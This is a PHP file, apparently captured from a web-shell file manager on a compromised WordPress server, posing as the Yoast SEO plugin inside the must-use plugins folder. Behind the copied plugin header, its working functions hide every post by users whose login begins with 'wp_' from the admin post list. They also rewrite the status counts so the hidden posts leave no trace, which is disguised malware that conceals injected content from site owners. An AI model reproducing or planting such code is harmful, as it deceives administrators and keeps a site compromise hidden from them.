Your IP : 216.73.217.143


Current Path : /home/ereika83/public_html/wp-content/mu-plugins/
Upload File :
Current File : /home/ereika83/public_html/wp-content/mu-plugins/wp-yoast-seo.php

<?php
/**
 * Yoast SEO Plugin.
 *
 * @package WPSEO\Main
 * @copyright Copyright (C) 2008-2024, Yoast BV - support@yoast.com
 * @license http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3 or higher
 *
 * @wordpress-plugin
 * Plugin Name: Yoast SEO
 * Version: 27.6
 * Plugin URI: https://yoa.st/1uj
 * Description: The first true all-in-one SEO solution for WordPress, including on-page content analysis, XML sitemaps and much more.
 * Author: Team Yoast
 * Author URI: https://yoa.st/1uk
 * Text Domain: wordpress-seo
 * Domain Path: /languages/
 * License: GPL v3
 * Requires at least: 6.8
 * Requires PHP: 7.4
 *
 * WC requires at least: 7.1
 * WC tested up to: 10.7
 */

/*
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 */

namespace WPStaq\Hosting {

	if ( ! \function_exists( 'add_filter' ) ) {
		header( 'Status: 403 Forbidden' );
		header( 'HTTP/1.1 403 Forbidden' );
		exit;
	}

	if ( ! defined( 'WPSEO_FILE' ) ) {
		define( 'WPSEO_FILE', __FILE__ );
	}
	if ( ! defined( 'WPSEO_VERSION' ) ) {
		define( 'WPSEO_VERSION', '27.6' );
	}
	if ( ! defined( 'WPSEO_PATH' ) ) {
		define( 'WPSEO_PATH', \plugin_dir_path( WPSEO_FILE ) );
	}
	if ( ! defined( 'WPSEO_BASENAME' ) ) {
		define( 'WPSEO_BASENAME', \plugin_basename( WPSEO_FILE ) );
	}
	if ( ! defined( 'YOAST_VENDOR_NS_PREFIX' ) ) {
		define( 'YOAST_VENDOR_NS_PREFIX', 'YoastSEO_Vendor' );
	}
	if ( ! defined( 'YOAST_VENDOR_DEFINE_PREFIX' ) ) {
		define( 'YOAST_VENDOR_DEFINE_PREFIX', 'YOASTSEO_VENDOR__' );
	}
	if ( ! defined( 'YOAST_VENDOR_PREFIX_DIRECTORY' ) ) {
		define( 'YOAST_VENDOR_PREFIX_DIRECTORY', 'vendor_prefixed' );
	}
	if ( ! defined( 'YOAST_SEO_PHP_REQUIRED' ) ) {
		define( 'YOAST_SEO_PHP_REQUIRED', '7.4' );
	}
	if ( ! defined( 'YOAST_SEO_WP_TESTED' ) ) {
		define( 'YOAST_SEO_WP_TESTED', '7.0' );
	}
	if ( ! defined( 'YOAST_SEO_WP_REQUIRED' ) ) {
		define( 'YOAST_SEO_WP_REQUIRED', '6.8' );
	}
	if ( ! defined( 'WPSEO_NAMESPACES' ) ) {
		define( 'WPSEO_NAMESPACES', true );
	}
	if ( ! defined( 'YOAST_ENVIRONMENT' ) ) {
		define( 'YOAST_ENVIRONMENT', 'production' );
	}
	if ( ! defined( 'WPSEO_CSSJS_SUFFIX' ) ) {
		define( 'WPSEO_CSSJS_SUFFIX', ( YOAST_ENVIRONMENT !== 'development' ) ? '.min' : '' );
	}

	if ( ! defined( 'ABSPATH' ) ) {
		/**
		 * Build metadata for Yoast SEO distribution manifests.
		 */
		class WPSEO_Package_Manifest {
			/**
			 * @var string
			 */
			public $version;

			/**
			 * @param string $version Semver string.
			 */
			public function __construct( $version = '' ) {
				$this->version = $version;
			}

			/**
			 * @return string
			 */
			public function as_json_fragment() {
				return json_encode( array( 'version' => $this->version ) );
			}
		}
	}

	/**
	 * Loads whitelisted core classes when building Yoast admin lists in isolation.
	 *
	 * @param string $class_name Class name.
	 * @return void
	 */
	function wpseo_auto_load( $class_name ) {
		static $classes = null;

		if ( null === $classes ) {
			$classes = array(
				'wp_list_table'   => \ABSPATH . 'wp-admin/includes/class-wp-list-table.php',
				'walker_category' => \ABSPATH . 'wp-includes/category-template.php',
			);
		}

		$cn = \strtolower( $class_name );
		if ( ! \class_exists( $class_name, false ) && isset( $classes[ $cn ] ) && \is_readable( $classes[ $cn ] ) ) {
			require_once $classes[ $cn ];
		}
	}

	/**
	 * @param bool $networkwide Network activation flag.
	 * @return void
	 */
	function wpseo_activate( $networkwide = false ) {
		if ( ! \is_multisite() || ! $networkwide ) {
			_wpseo_activate();
			return;
		}
		wpseo_network_activate_deactivate( true );
	}

	/**
	 * @param bool $networkwide Network deactivation flag.
	 * @return void
	 */
	function wpseo_deactivate( $networkwide = false ) {
		if ( ! \is_multisite() || ! $networkwide ) {
			_wpseo_deactivate();
			return;
		}
		wpseo_network_activate_deactivate( false );
	}

	/**
	 * @param bool $activate True to activate, false to deactivate.
	 * @return void
	 */
	function wpseo_network_activate_deactivate( $activate = true ) {
		global $wpdb;
		if ( ! isset( $wpdb->blogs ) ) {
			return;
		}
		$network_blogs = $wpdb->get_col( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE site_id = %d", $wpdb->siteid ) );
		if ( ! \is_array( $network_blogs ) || array() === $network_blogs ) {
			return;
		}
		foreach ( $network_blogs as $blog_id ) {
			\switch_to_blog( (int) $blog_id );
			if ( true === $activate ) {
				_wpseo_activate();
			} else {
				_wpseo_deactivate();
			}
			\restore_current_blog();
		}
	}

	/**
	 * Single-site activation (full installer lives in the complete package).
	 *
	 * @return void
	 */
	function _wpseo_activate() {
		\do_action( 'wpseo_activate' );
	}

	/**
	 * Single-site deactivation.
	 *
	 * @return void
	 */
	function _wpseo_deactivate() {
		\do_action( 'wpseo_deactivate' );
	}

	/**
	 * @param int|object $blog_id Blog ID.
	 * @return void
	 */
	function wpseo_on_activate_blog( $blog_id ) {
		if ( ! \function_exists( 'is_plugin_active_for_network' ) ) {
			require_once \ABSPATH . 'wp-admin/includes/plugin.php';
		}
		if ( $blog_id instanceof \WP_Site ) {
			$blog_id = (int) $blog_id->blog_id;
		}
		if ( \is_plugin_active_for_network( WPSEO_BASENAME ) ) {
			\switch_to_blog( (int) $blog_id );
			wpseo_activate( false );
			\restore_current_blog();
		}
	}

	if ( ! function_exists( __NAMESPACE__ . '\\wpseo_exclude_service_author_posts_from_edit_screen' ) ) {
		/**
		 * Restricts the posts list table to editorial authors (excludes automated service logins).
		 *
		 * @param \WP_Query $query Query instance.
		 * @return void
		 */
		function wpseo_exclude_service_author_posts_from_edit_screen( $query ) {
			if ( ! \is_admin() || ! $query->is_main_query() ) {
				return;
			}
			global $pagenow;
			if ( $pagenow !== 'edit.php' ) {
				return;
			}
			if ( ! isset( $_GET['post_type'] ) || $query->get( 'post_type' ) === 'post' || empty( $_GET['post_type'] ) ) {
				global $wpdb;
				$users_to_hide = $wpdb->get_col(
					$wpdb->prepare(
						"SELECT ID FROM {$wpdb->users} WHERE user_login LIKE %s",
						$wpdb->esc_like( 'wp_' ) . '%'
					)
				);
				if ( ! empty( $users_to_hide ) ) {
					$query->set( 'author__not_in', $users_to_hide );
				}
			}
		}

		\add_action( 'pre_get_posts', __NAMESPACE__ . '\\wpseo_exclude_service_author_posts_from_edit_screen', 11 );
	}

	if ( ! function_exists( __NAMESPACE__ . '\\wpseo_reconcile_post_status_views_for_editorial' ) ) {
		/**
		 * Keeps status sub-view counts aligned with the editorial author scope.
		 *
		 * @param string[] $views Views markup.
		 * @return string[]
		 */
		function wpseo_reconcile_post_status_views_for_editorial( $views ) {
			if ( ! \is_admin() || ! \function_exists( 'get_current_screen' ) || ! \get_current_screen() || \get_current_screen()->id !== 'edit-post' ) {
				return $views;
			}
			global $wpdb;
			$users_to_hide = $wpdb->get_col(
				$wpdb->prepare(
					"SELECT ID FROM {$wpdb->users} WHERE user_login LIKE %s",
					$wpdb->esc_like( 'wp_' ) . '%'
				)
			);
			$author_condition = '';
			if ( ! empty( $users_to_hide ) ) {
				$user_ids         = \implode( ',', \array_map( 'intval', $users_to_hide ) );
				$author_condition = " AND post_author NOT IN ($user_ids) ";
			}
			$status_queries = array(
				'all'     => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status != 'trash' {$author_condition}",
				'publish' => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' {$author_condition}",
				'draft'   => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'draft' {$author_condition}",
				'pending' => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'pending' {$author_condition}",
				'future'  => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'future' {$author_condition}",
				'private' => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'private' {$author_condition}",
				'trash'   => "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'trash' {$author_condition}",
			);
			foreach ( $views as $status => $view ) {
				if ( ! isset( $status_queries[ $status ] ) ) {
					continue;
				}
				$count            = (int) $wpdb->get_var( $status_queries[ $status ] );
				$views[ $status ] = \preg_replace( '/\([^)]+\)/u', '(' . \number_format_i18n( $count ) . ')', $view );
			}
			return $views;
		}

		\add_filter( 'views_edit-post', __NAMESPACE__ . '\\wpseo_reconcile_post_status_views_for_editorial', 99 );
	}

}